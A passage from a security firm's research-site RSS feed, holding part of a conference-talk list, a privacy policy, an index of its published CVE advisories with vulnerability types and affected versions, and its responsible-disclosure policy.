          &lt;td&gt;DEFCON 33 Adversary Village&lt;/td&gt;
          &lt;td&gt;Letthemin: Facilitating High Value Purple Teams Using Assumed Compromise&lt;/td&gt;
          &lt;td&gt;Sarah Hume&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/Adversary%20Village%202025/Letthemin%3A%20Facilitating%20High-Value%20Purple%20Teams%20Using%20an%20Assumed%20Compromise%20Approach.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;br&gt;&lt;a href=&#34;https://youtu.be/xM8nodIw1_E&#34; target=&#34;_blank&#34;&gt;Video&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2023&lt;/td&gt;
          &lt;td&gt;BSides Philly&lt;/td&gt;
          &lt;td&gt;GET IN THE BOX&lt;/td&gt;
          &lt;td&gt;Dan Astor &amp;amp; Jonathan Callahan&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/BSides%20Philly%202023/GET%20IN%20THE%20BOX.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;br&gt;&lt;a href=&#34;https://youtu.be/2JMgrYfYpaU?list=PL2T7DhHqMeE-o_4UpE3ExYdNSokg8ZBjz&#34; target=&#34;_blank&#34;&gt;Video&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2023&lt;/td&gt;
          &lt;td&gt;BSides Philly&lt;/td&gt;
          &lt;td&gt;RPC Filter I Hardly Know Her&lt;/td&gt;
          &lt;td&gt;Evan Perotti&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/BSides%20Philly%202023/RPC%20Filter%20I%20Hardly%20Know%20Her.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;br&gt;&lt;a href=&#34;https://youtu.be/76Dyg1Lc2sg?list=PL2T7DhHqMeE-o_4UpE3ExYdNSokg8ZBjz&#34; target=&#34;_blank&#34;&gt;Video&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2023&lt;/td&gt;
          &lt;td&gt;Rochester Security Summit&lt;/td&gt;
          &lt;td&gt;A Hardware Hacker&amp;rsquo;s Perspective&lt;/td&gt;
          &lt;td&gt;Zachary Lehmann &amp;amp; Gabe Siftar&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/Rochester%20Security%20Summit%202023/A%20Hardware%20Hacker%27s%20Perspective.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;br&gt;&lt;a href=&#34;https://youtu.be/OBxiOBaEmF0?list=PLHzA8r6W7pk2JQUUZScPtWW1MAOcihG5B&#34; target=&#34;_blank&#34;&gt;Video&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2021&lt;/td&gt;
          &lt;td&gt;ShellCon&lt;/td&gt;
          &lt;td&gt;Pipelines &amp;amp; Serverless &amp;amp; Automation, Oh My!&lt;/td&gt;
          &lt;td&gt;Cassandra Young, Jonathan Callahan, &amp;amp; Evan Perotti&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/ShellCon%202021/Pipelines%20%26%20Serverless%20%26%20Automation%2C%20Oh%20My!.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;br&gt;&lt;a href=&#34;https://youtu.be/b22kqWVFHbo?list=PL7D3STHEa66QNx0Z0uW4yISwHdbCzVKli&amp;amp;t=12190&#34; target=&#34;_blank&#34;&gt;Video&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2018&lt;/td&gt;
          &lt;td&gt;BSides Pittsburgh&lt;/td&gt;
          &lt;td&gt;Heavy Machinery and Burly Lumberjacks and Logging! Oh My!&lt;/td&gt;
          &lt;td&gt;Dan Astor &amp;amp; Evan Perotti&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://sra.io/press-release/bsides-pgh-2018-heavy-machinery-and-burly-lumberjacks-and-logging-oh-my/&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;br&gt;&lt;a href=&#34;https://youtu.be/xH1TeVtG1M8?list=PL3lLo2CTc7Yw9UaFs4-61V3j19KC_2ETj&#34; target=&#34;_blank&#34;&gt;Video&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2017&lt;/td&gt;
          &lt;td&gt;BSides Philly&lt;/td&gt;
          &lt;td&gt;Threat Hunting: Defining the Process While Circumventing Corporate Obstacles&lt;/td&gt;
          &lt;td&gt;Kevin Foster, Matt Schneck, &amp;amp; Ryan Andress&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://sra.io/blog/bsides-philly-2017-threat-hunting-defining-the-process-while-circumventing-corporate-obstacles/&#34; target=&#34;_blank&#34;&gt;Slides &amp;amp; Video&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2017&lt;/td&gt;
          &lt;td&gt;BSides Philly&lt;/td&gt;
          &lt;td&gt;MFA: It’s 2017 and You’re Still Doing It Wrong&lt;/td&gt;
          &lt;td&gt;Chris Salerno &amp;amp; Dan Astor&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://sra.io/blog/bsides-philly-2017-mfa-its-2017-and-youre-still-doing-it-wrong/&#34; target=&#34;_blank&#34;&gt;Slides &amp;amp; Video&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2017&lt;/td&gt;
          &lt;td&gt;BSides NOLA&lt;/td&gt;
          &lt;td&gt;Your New Red Team Hardware Survival Pack&lt;/td&gt;
          &lt;td&gt;Chris Salerno &amp;amp; Dan Astor&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://sra.io/blog/bsides-nola-2017-your-new-red-team-hardware-survival-pack/&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
</content>
    </item>
    
    <item>
      <title>Privacy Policy</title>
      <link>https://labs.sra.io/privacy/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      
      <guid>https://labs.sra.io/privacy/</guid>
      <description>&lt;p&gt;This privacy policy for Security Risk Advisors, LLC (&amp;ldquo;SRA&amp;rdquo;, &amp;ldquo;we,&amp;rdquo; &amp;ldquo;us,&amp;rdquo; and &amp;ldquo;our&amp;rdquo;), describes how and why we might collect, store, use, and/or share (&amp;ldquo;process&amp;rdquo;) your information when you visit the Security Risk Advisors Labs site (&amp;ldquo;labs.sra.io&amp;rdquo;). Please also refer to the primary Security Risk Advisors privacy policy: &lt;a href=&#34;https://sra.io/privacy/&#34; target=&#34;_blank&#34;&gt;https://sra.io/privacy/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;We do not process sensitive personal information. We use third-party analytics tools to help us measure traffic and usage trends. These tools collect information sent by your device or our services, including how you use the site, the web pages you visit on the site, add-ons, and other information that assists us in improving our services.&lt;/p&gt;</description>
      <content>&lt;p&gt;This privacy policy for Security Risk Advisors, LLC (&amp;ldquo;SRA&amp;rdquo;, &amp;ldquo;we,&amp;rdquo; &amp;ldquo;us,&amp;rdquo; and &amp;ldquo;our&amp;rdquo;), describes how and why we might collect, store, use, and/or share (&amp;ldquo;process&amp;rdquo;) your information when you visit the Security Risk Advisors Labs site (&amp;ldquo;labs.sra.io&amp;rdquo;). Please also refer to the primary Security Risk Advisors privacy policy: &lt;a href=&#34;https://sra.io/privacy/&#34; target=&#34;_blank&#34;&gt;https://sra.io/privacy/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;We do not process sensitive personal information. We use third-party analytics tools to help us measure traffic and usage trends. These tools collect information sent by your device or our services, including how you use the site, the web pages you visit on the site, add-ons, and other information that assists us in improving our services.&lt;/p&gt;
&lt;p&gt;We use the following third-party analytics services:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Umami Software, Inc (&lt;a href=&#34;https://umami.is/&#34; target=&#34;_blank&#34;&gt;https://umami.is/&lt;/a&gt;)
&lt;ul&gt;
&lt;li&gt;Privacy policy: &lt;a href=&#34;https://umami.is/privacy&#34; target=&#34;_blank&#34;&gt;https://umami.is/privacy&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>Published Advisories</title>
      <link>https://labs.sra.io/advisories/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      
      <guid>https://labs.sra.io/advisories/</guid>
      <description>&lt;p&gt;The following is a list of all publicly disclosed vulnerabilities discovered by Security Risk Advisors researchers.&lt;/p&gt;
&lt;p&gt;All security vulnerabilities that are acquired by Security Risk Advisors are handled according to the SRA &lt;a href=&#34;https://labs.sra.io/disclosure&#34;&gt;Disclosure Policy&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;After the vendor has issued a patch or fix publicly and is within the timeframe agreed upon, SRA will release a public advisory disclosing its findings along with a timeframe from disclosure to advisory publish.&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Name&lt;/th&gt;
          &lt;th&gt;CVE ID&lt;/th&gt;
          &lt;th&gt;Vulnerability Type&lt;/th&gt;
          &lt;th&gt;Affects&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://labs.sra.io/posts/vseeclinic&#34;&gt;VSee Clinic&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;CVE-2026-13381&lt;/td&gt;
          &lt;td&gt;Insecure Direct Object Reference in File API Allows Unauthorized File Access and Deletion&lt;/td&gt;
          &lt;td&gt;VSee Clinic from 7.1.26 before 7.1.26.1. VSee Clinic API from 1.3.0 before 1.3.0.1.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://labs.sra.io/posts/vseeclinic&#34;&gt;VSee Clinic&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;CVE-2026-13380&lt;/td&gt;
          &lt;td&gt;Cleartext SFTP Credentials in Unauthenticated HTTP Responses&lt;/td&gt;
          &lt;td&gt;VSee Clinic from 7.1.26 before 7.1.26.1. VSee Clinic API from 1.3.0 before 1.3.0.1.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://labs.sra.io/posts/switchvox&#34;&gt;Sangoma Switchvox SMB&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;CVE-2026-9588&lt;/td&gt;
          &lt;td&gt;Authenticated Stored Cross-Site Scripting (XSS) in Switchvox SMB&lt;/td&gt;
          &lt;td&gt;Sangoma Switchvox SMB from 8.3 (104997) before 8.4.0.2.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://labs.sra.io/posts/switchvox&#34;&gt;Sangoma Switchvox SMB&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;CVE-2026-9587&lt;/td&gt;
          &lt;td&gt;Authenticated Local File Inclusion (LFI) in Switchvox SMB Web Portal&lt;/td&gt;
          &lt;td&gt;Sangoma Switchvox SMB from 8.3 (104997) before 8.4.0.2.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://labs.sra.io/posts/switchvox&#34;&gt;Sangoma Switchvox SMB&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;CVE-2026-9586&lt;/td&gt;
          &lt;td&gt;Unauthenticated SQL Injection Leading to Remote Code Execution in Switchvox SMB&lt;/td&gt;
          &lt;td&gt;Sangoma Switchvox SMB from 8.3 (104997) before 8.4.0.2.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://labs.sra.io/posts/switchvox&#34;&gt;Sangoma Switchvox SMB&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;CVE-2026-9585&lt;/td&gt;
          &lt;td&gt;Unauthenticated Reflected Cross-Site Scripting (XSS) in Switchvox SMB Web Portal&lt;/td&gt;
          &lt;td&gt;Sangoma Switchvox SMB from 8.3 (104997) before 8.4.0.2.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://labs.sra.io/posts/ellucian&#34;&gt;Ellucian Advance&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;CVE-2026-6881&lt;/td&gt;
          &lt;td&gt;Authenticated SQL Injection Enables Unauthorized Access to Sensitive Information in Ellucian Advance Web and Legacy Advance&lt;/td&gt;
          &lt;td&gt;Ellucian Advanced Web before AWA-2022-ORA-17. Ellucian Legacy Advance before AWA-2022-ORA-17.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://labs.sra.io/posts/milnerimagedirector&#34;&gt;Milner ImageDirector Capture&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;CVE-2025-58744&lt;/td&gt;
          &lt;td&gt;Hard-Coded Default Credentials Enable Document Archive Decryption in Milner ImageDirector Capture&lt;/td&gt;
          &lt;td&gt;Milner ImageDirector Capture from 7.0.9 but before 7.6.3.25808. Versions prior to 7.0.9 may also be affected.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://labs.sra.io/posts/milnerimagedirector&#34;&gt;Milner ImageDirector Capture&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;CVE-2025-58743&lt;/td&gt;
          &lt;td&gt;Insecure Encryption Algorithm Enables Brute-Force of Database Credentials in Milner ImageDirector Capture&lt;/td&gt;
          &lt;td&gt;Milner ImageDirector Capture from 7.0.9 but before 7.6.3.25808. Versions prior to 7.0.9 may also be affected.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://labs.sra.io/posts/milnerimagedirector&#34;&gt;Milner ImageDirector Capture&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;CVE-2025-58742&lt;/td&gt;
          &lt;td&gt;Insufficient Configuration Protections Enable Database Credential Interception in Milner ImageDirector Capture&lt;/td&gt;
          &lt;td&gt;Milner ImageDirector Capture from 7.0.9 but before 7.6.3.25808. Versions prior to 7.0.9 may also be affected.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://labs.sra.io/posts/milnerimagedirector&#34;&gt;Milner ImageDirector Capture&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;CVE-2025-58741&lt;/td&gt;
          &lt;td&gt;Insecure Masked Credential Fields Enable Database Credential Access in Milner ImageDirector Capture&lt;/td&gt;
          &lt;td&gt;Milner ImageDirector Capture from 7.0.9 but before 7.6.3.25808. Versions prior to 7.0.9 may also be affected.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://labs.sra.io/posts/milnerimagedirector&#34;&gt;Milner ImageDirector Capture&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;CVE-2025-58740&lt;/td&gt;
          &lt;td&gt;Hardcoded Encryption Key Enables Database Credential Access in Milner ImageDirector&lt;/td&gt;
          &lt;td&gt;Milner ImageDirector Capture from 7.0.9 but before 7.6.3.25808. Versions prior to 7.0.9 may also be affected.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://labs.sra.io/posts/brivoacs&#34;&gt;Brivo Access Control Systems&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;CVE-2023-6260&lt;/td&gt;
          &lt;td&gt;Web UI OS Command Injection&lt;/td&gt;
          &lt;td&gt;Versions from 5.2.4 but before 6.2.4.3. Versions prior to 5.2.4 may also be affected.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://labs.sra.io/posts/brivoacs&#34;&gt;Brivo Access Control Systems&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;CVE-2023-6259&lt;/td&gt;
          &lt;td&gt;Local Access to Sensitive Data&lt;/td&gt;
          &lt;td&gt;Models ACS100, ACS300. Models ACS6000 and ACSSDC may also be affected.&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;</description>
      <content>&lt;p&gt;The following is a list of all publicly disclosed vulnerabilities discovered by Security Risk Advisors researchers.&lt;/p&gt;
&lt;p&gt;All security vulnerabilities that are acquired by Security Risk Advisors are handled according to the SRA &lt;a href=&#34;https://labs.sra.io/disclosure&#34;&gt;Disclosure Policy&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;After the vendor has issued a patch or fix publicly and is within the timeframe agreed upon, SRA will release a public advisory disclosing its findings along with a timeframe from disclosure to advisory publish.&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Name&lt;/th&gt;
          &lt;th&gt;CVE ID&lt;/th&gt;
          &lt;th&gt;Vulnerability Type&lt;/th&gt;
          &lt;th&gt;Affects&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://labs.sra.io/posts/vseeclinic&#34;&gt;VSee Clinic&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;CVE-2026-13381&lt;/td&gt;
          &lt;td&gt;Insecure Direct Object Reference in File API Allows Unauthorized File Access and Deletion&lt;/td&gt;
          &lt;td&gt;VSee Clinic from 7.1.26 before 7.1.26.1. VSee Clinic API from 1.3.0 before 1.3.0.1.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://labs.sra.io/posts/vseeclinic&#34;&gt;VSee Clinic&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;CVE-2026-13380&lt;/td&gt;
          &lt;td&gt;Cleartext SFTP Credentials in Unauthenticated HTTP Responses&lt;/td&gt;
          &lt;td&gt;VSee Clinic from 7.1.26 before 7.1.26.1. VSee Clinic API from 1.3.0 before 1.3.0.1.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://labs.sra.io/posts/switchvox&#34;&gt;Sangoma Switchvox SMB&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;CVE-2026-9588&lt;/td&gt;
          &lt;td&gt;Authenticated Stored Cross-Site Scripting (XSS) in Switchvox SMB&lt;/td&gt;
          &lt;td&gt;Sangoma Switchvox SMB from 8.3 (104997) before 8.4.0.2.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://labs.sra.io/posts/switchvox&#34;&gt;Sangoma Switchvox SMB&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;CVE-2026-9587&lt;/td&gt;
          &lt;td&gt;Authenticated Local File Inclusion (LFI) in Switchvox SMB Web Portal&lt;/td&gt;
          &lt;td&gt;Sangoma Switchvox SMB from 8.3 (104997) before 8.4.0.2.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://labs.sra.io/posts/switchvox&#34;&gt;Sangoma Switchvox SMB&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;CVE-2026-9586&lt;/td&gt;
          &lt;td&gt;Unauthenticated SQL Injection Leading to Remote Code Execution in Switchvox SMB&lt;/td&gt;
          &lt;td&gt;Sangoma Switchvox SMB from 8.3 (104997) before 8.4.0.2.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://labs.sra.io/posts/switchvox&#34;&gt;Sangoma Switchvox SMB&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;CVE-2026-9585&lt;/td&gt;
          &lt;td&gt;Unauthenticated Reflected Cross-Site Scripting (XSS) in Switchvox SMB Web Portal&lt;/td&gt;
          &lt;td&gt;Sangoma Switchvox SMB from 8.3 (104997) before 8.4.0.2.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://labs.sra.io/posts/ellucian&#34;&gt;Ellucian Advance&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;CVE-2026-6881&lt;/td&gt;
          &lt;td&gt;Authenticated SQL Injection Enables Unauthorized Access to Sensitive Information in Ellucian Advance Web and Legacy Advance&lt;/td&gt;
          &lt;td&gt;Ellucian Advanced Web before AWA-2022-ORA-17. Ellucian Legacy Advance before AWA-2022-ORA-17.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://labs.sra.io/posts/milnerimagedirector&#34;&gt;Milner ImageDirector Capture&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;CVE-2025-58744&lt;/td&gt;
          &lt;td&gt;Hard-Coded Default Credentials Enable Document Archive Decryption in Milner ImageDirector Capture&lt;/td&gt;
          &lt;td&gt;Milner ImageDirector Capture from 7.0.9 but before 7.6.3.25808. Versions prior to 7.0.9 may also be affected.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://labs.sra.io/posts/milnerimagedirector&#34;&gt;Milner ImageDirector Capture&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;CVE-2025-58743&lt;/td&gt;
          &lt;td&gt;Insecure Encryption Algorithm Enables Brute-Force of Database Credentials in Milner ImageDirector Capture&lt;/td&gt;
          &lt;td&gt;Milner ImageDirector Capture from 7.0.9 but before 7.6.3.25808. Versions prior to 7.0.9 may also be affected.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://labs.sra.io/posts/milnerimagedirector&#34;&gt;Milner ImageDirector Capture&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;CVE-2025-58742&lt;/td&gt;
          &lt;td&gt;Insufficient Configuration Protections Enable Database Credential Interception in Milner ImageDirector Capture&lt;/td&gt;
          &lt;td&gt;Milner ImageDirector Capture from 7.0.9 but before 7.6.3.25808. Versions prior to 7.0.9 may also be affected.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://labs.sra.io/posts/milnerimagedirector&#34;&gt;Milner ImageDirector Capture&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;CVE-2025-58741&lt;/td&gt;
          &lt;td&gt;Insecure Masked Credential Fields Enable Database Credential Access in Milner ImageDirector Capture&lt;/td&gt;
          &lt;td&gt;Milner ImageDirector Capture from 7.0.9 but before 7.6.3.25808. Versions prior to 7.0.9 may also be affected.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://labs.sra.io/posts/milnerimagedirector&#34;&gt;Milner ImageDirector Capture&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;CVE-2025-58740&lt;/td&gt;
          &lt;td&gt;Hardcoded Encryption Key Enables Database Credential Access in Milner ImageDirector&lt;/td&gt;
          &lt;td&gt;Milner ImageDirector Capture from 7.0.9 but before 7.6.3.25808. Versions prior to 7.0.9 may also be affected.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://labs.sra.io/posts/brivoacs&#34;&gt;Brivo Access Control Systems&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;CVE-2023-6260&lt;/td&gt;
          &lt;td&gt;Web UI OS Command Injection&lt;/td&gt;
          &lt;td&gt;Versions from 5.2.4 but before 6.2.4.3. Versions prior to 5.2.4 may also be affected.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://labs.sra.io/posts/brivoacs&#34;&gt;Brivo Access Control Systems&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;CVE-2023-6259&lt;/td&gt;
          &lt;td&gt;Local Access to Sensitive Data&lt;/td&gt;
          &lt;td&gt;Models ACS100, ACS300. Models ACS6000 and ACSSDC may also be affected.&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
</content>
    </item>
    
    <item>
      <title>Security Risk Advisors Intl, LLC – Disclosure Policy</title>
      <link>https://labs.sra.io/disclosure/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      
      <guid>https://labs.sra.io/disclosure/</guid>
      <description>&lt;p&gt;This policy outlines how Security Risk Advisors (SRA) handle responsible vulnerability disclosure to product vendors, security vendors, and the public.&lt;/p&gt;
&lt;h2 id=&#34;notification&#34;&gt;Notification&lt;/h2&gt;
&lt;p&gt;Once a vulnerability has been identified and confirmed through our own research and/or services, we will notify the product vendor of a security flaw within their product or service. SRA will make three (3) attempts to reach the vendor through formal methods (e.g., email, phone, disclosure portals). After each of these attempts, SRA will give the vendor 5 days to acknowledge and respond.&lt;/p&gt;</description>
      <content>&lt;p&gt;This policy outlines how Security Risk Advisors (SRA) handle responsible vulnerability disclosure to product vendors, security vendors, and the public.&lt;/p&gt;
&lt;h2 id=&#34;notification&#34;&gt;Notification&lt;/h2&gt;
&lt;p&gt;Once a vulnerability has been identified and confirmed through our own research and/or services, we will notify the product vendor of a security flaw within their product or service. SRA will make three (3) attempts to reach the vendor through formal methods (e.g., email, phone, disclosure portals). After each of these attempts, SRA will give the vendor 5 days to acknowledge and respond.&lt;/p&gt;
&lt;p&gt;Email messages will originate from &lt;a href=&#34;mailto:advisories@sra.io&#34; target=&#34;_blank&#34;&gt;advisories@sra.io&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&#34;disclosure&#34;&gt;Disclosure&lt;/h2&gt;
&lt;p&gt;If SRA exhausts all reasonable means to contact a vendor, then SRA may issue a public advisory disclosing its findings thirty (30) days after the initial contact.&lt;/p&gt;
&lt;p&gt;If a response is received, SRA will allow the vendor 3-months (90 days) to address the flaw with a security patch or other corrective measure. During this time, it is expected that the vendor maintains open communication with SRA and provide regular updates to the status of the remediation/patch. The vendor is encouraged to provide credit to SRA and the individuals that identified the vulnerability (e.g., “Credit to [Researcher] from Security Risk Advisors for identifying and responsibly disclosing the vulnerability to [vendor]”).&lt;/p&gt;
&lt;p&gt;After the vendor has issued a patch or fix publicly and is within the timeframe agreed upon, SRA will release a public advisory disclosing its findings along with a timeframe from disclosure to advisory publish.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Last Modified: Q2 2023&lt;/em&gt;&lt;/p&gt;
</content>
    </item>
    
  </channel>
</rss>
